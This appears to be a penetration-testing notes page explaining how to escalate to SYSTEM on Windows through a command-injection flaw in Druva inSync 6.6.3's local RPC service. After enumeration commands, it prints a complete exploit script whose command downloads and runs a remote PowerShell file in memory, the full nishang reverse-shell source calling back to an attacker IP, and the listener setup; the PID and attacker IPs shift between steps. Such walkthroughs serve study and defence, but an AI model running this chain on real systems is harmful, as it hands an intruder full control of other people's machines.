Skip to content

Abusing vulnerable services

Druva inSync Windows Client Local Privilege Escalation Example

Enumerating Installed Programs

wmic product get name

Example of output:

1
2
3
4
5
6
7
8
9
Name                                                                        Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29910 
Update for Windows 10 for x64-based Systems (KB4023057) 
Microsoft Visual C++ 2019 X86 Additional Runtime - 14.24.28127 
VMware Tools  
Druva inSync 6.6.3            
Microsoft Update Health Tools 
Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29910 
Update for Windows 10 for x64-based Systems (KB4480730)
Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.24.28127     

The output looks mostly standard for a Windows 10 workstation. However, the Druva inSync application stands out. A quick Google search shows that version 6.6.3 is vulnerable to a command injection attack via an exposed RPC service. We may be able to use this exploit PoC to escalate our privileges. From this blog post which details the initial discovery of the flaw, we can see that Druva inSync is an application used for “Integrated backup, eDiscovery, and compliance monitoring,” and the client application runs a service in the context of the powerful NT AUTHORITY\SYSTEM account. Escalation is possible by interacting with a service running locally on port 6064.

Enumerating Local Ports

netstat -ano | findstr 6064

Example of output:

1
2
3
  TCP    127.0.0.1:6064         0.0.0.0:0              LISTENING       3468
  TCP    127.0.0.1:6064         127.0.0.1:52496        ESTABLISHED     3468
  TCP    127.0.0.1:52496        127.0.0.1:6064         ESTABLISHED     4084

Enumerating Process ID

Next, let's map the process ID (PID) 3468 back to the running process.

get-process -Id 3324

Exaple of output:

1
2
3
Handles  NPM(K)    PM(K)      WS(K)     CPU(s)     Id  SI ProcessName
-------  ------    -----      -----     ------     --  -- -----------
    149      10     1512       6748              3324   0 inSyncCPHwnet64

Enumerating Running Service

At this point, we have enough information to determine that the Druva inSync application is indeed installed and running, but we can do one last check using the Get-Service cmdlet.

get-service | ? {$_.DisplayName -like 'Druva*'}

The attack

What is interesting in this attack is that the POC from https://www.exploit-db.com/exploits/49211 for exploiting Druva inSync Windows Client 6.6.3 - Local Privilege Escalation (PowerShell) can load and execute a command from memory, meaning not touching the disk.

We only need to modify the $cmd variable to our desired command. And our desired command will be downloading into memory the Invoke-PowershellTcp.ps1 from nishang to get a reverse shell without touching the disk.

First, we indicate in the PoC the command (see variable $cmd with our real IP and ). We will save the file as druva.ps1:

$ErrorActionPreference = "Stop"

$cmd = "powershell IEX(New-Object Net.Webclient).downloadString('http://10.10.14.3:8080/shell.ps1')"

$s = New-Object System.Net.Sockets.Socket(
    [System.Net.Sockets.AddressFamily]::InterNetwork,
    [System.Net.Sockets.SocketType]::Stream,
    [System.Net.Sockets.ProtocolType]::Tcp
)
$s.Connect("127.0.0.1", 6064)

$header = [System.Text.Encoding]::UTF8.GetBytes("inSync PHC RPCW[v0002]")
$rpcType = [System.Text.Encoding]::UTF8.GetBytes("$([char]0x0005)`0`0`0")
$command = [System.Text.Encoding]::Unicode.GetBytes("C:\ProgramData\Druva\inSync4\..\..\..\Windows\System32\cmd.exe /c $cmd");
$length = [System.BitConverter]::GetBytes($command.Length);

$s.Send($header)
$s.Send($rpcType)
$s.Send($length)
$s.Send($command)

Now we need to prepare the nishang Invoke-PowerShellTcp in our kali attacking machine. If we have a look at it we will see that it contains the function definition, but we also need to call it so by the end of our nishang Invoke-PowerShellTcp we will add the line:

Invoke-PowerShellTcp -Reverse -IPAddress 10.10.15.23 -Port 9443

And we will save it as shell.ps1. This is the final shell.ps1:

function Invoke-PowerShellTcp 
{ 
<#
.SYNOPSIS
Nishang script which can be used for Reverse or Bind interactive PowerShell from a target. 
.DESCRIPTION
This script is able to connect to a standard Netcat listening on a port when using the -Reverse switch. 
Also, a standard Netcat can connect to this script Bind to a specific port.
The script is derived from Powerfun written by Ben Turner & Dave Hardy
.PARAMETER IPAddress
The IP address to connect to when using the -Reverse switch.
.PARAMETER Port
The port to connect to when using the -Reverse switch. When using -Bind it is the port on which this script listens.
.EXAMPLE
PS > Invoke-PowerShellTcp -Reverse -IPAddress 192.168.254.226 -Port 4444
Above shows an example of an interactive PowerShell reverse connect shell. A netcat/powercat listener must be listening on 
the given IP and port. 
.EXAMPLE
PS > Invoke-PowerShellTcp -Bind -Port 4444
Above shows an example of an interactive PowerShell bind connect shell. Use a netcat/powercat to connect to this port. 
.EXAMPLE
PS > Invoke-PowerShellTcp -Reverse -IPAddress fe80::20c:29ff:fe9d:b983 -Port 4444
Above shows an example of an interactive PowerShell reverse connect shell over IPv6. A netcat/powercat listener must be
listening on the given IP and port. 
.LINK
http://www.labofapenetrationtester.com/2015/05/week-of-powershell-shells-day-1.html
https://github.com/nettitude/powershell/blob/master/powerfun.ps1
https://github.com/samratashok/nishang
#>      
    [CmdletBinding(DefaultParameterSetName="reverse")] Param(

        [Parameter(Position = 0, Mandatory = $true, ParameterSetName="reverse")]
        [Parameter(Position = 0, Mandatory = $false, ParameterSetName="bind")]
        [String]
        $IPAddress,

        [Parameter(Position = 1, Mandatory = $true, ParameterSetName="reverse")]
        [Parameter(Position = 1, Mandatory = $true, ParameterSetName="bind")]
        [Int]
        $Port,

        [Parameter(ParameterSetName="reverse")]
        [Switch]
        $Reverse,

        [Parameter(ParameterSetName="bind")]
        [Switch]
        $Bind

    )


    try 
    {
        #Connect back if the reverse switch is used.
        if ($Reverse)
        {
            $client = New-Object System.Net.Sockets.TCPClient($IPAddress,$Port)
        }

        #Bind to the provided port if Bind switch is used.
        if ($Bind)
        {
            $listener = [System.Net.Sockets.TcpListener]$Port
            $listener.start()    
            $client = $listener.AcceptTcpClient()
        } 

        $stream = $client.GetStream()
        [byte[]]$bytes = 0..65535|%{0}

        #Send back current username and computername
        $sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")
        $stream.Write($sendbytes,0,$sendbytes.Length)

        #Show an interactive PowerShell prompt
        $sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>')
        $stream.Write($sendbytes,0,$sendbytes.Length)

        while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
        {
            $EncodedText = New-Object -TypeName System.Text.ASCIIEncoding
            $data = $EncodedText.GetString($bytes,0, $i)
            try
            {
                #Execute the command on the target.
                $sendback = (Invoke-Expression -Command $data 2>&1 | Out-String )
            }
            catch
            {
                Write-Warning "Something went wrong with execution of command on the target." 
                Write-Error $_
            }
            $sendback2  = $sendback + 'PS ' + (Get-Location).Path + '> '
            $x = ($error[0] | Out-String)
            $error.clear()
            $sendback2 = $sendback2 + $x

            #Return the results
            $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
            $stream.Write($sendbyte,0,$sendbyte.Length)
            $stream.Flush()  
        }
        $client.Close()
        if ($listener)
        {
            $listener.Stop()
        }
    }
    catch
    {
        Write-Warning "Something went wrong! Check if the server is reachable and you are using the correct port." 
        Write-Error $_
    }
}

Invoke-PowerShellTcp -Reverse -IPAddress 10.10.15.23 -Port 9443

Now in our attacking machine we can serve the shell.ps1 file:

python3 -m http.server 8080

We also need a listener to catch the SYSTEM shell:

 nc -lvnp 9443

Now, we just run the PoC:

.\druva.ps1

And we will obtain the reverse shell.

Last update: 2025-04-13
Created: April 13, 2025 19:25:48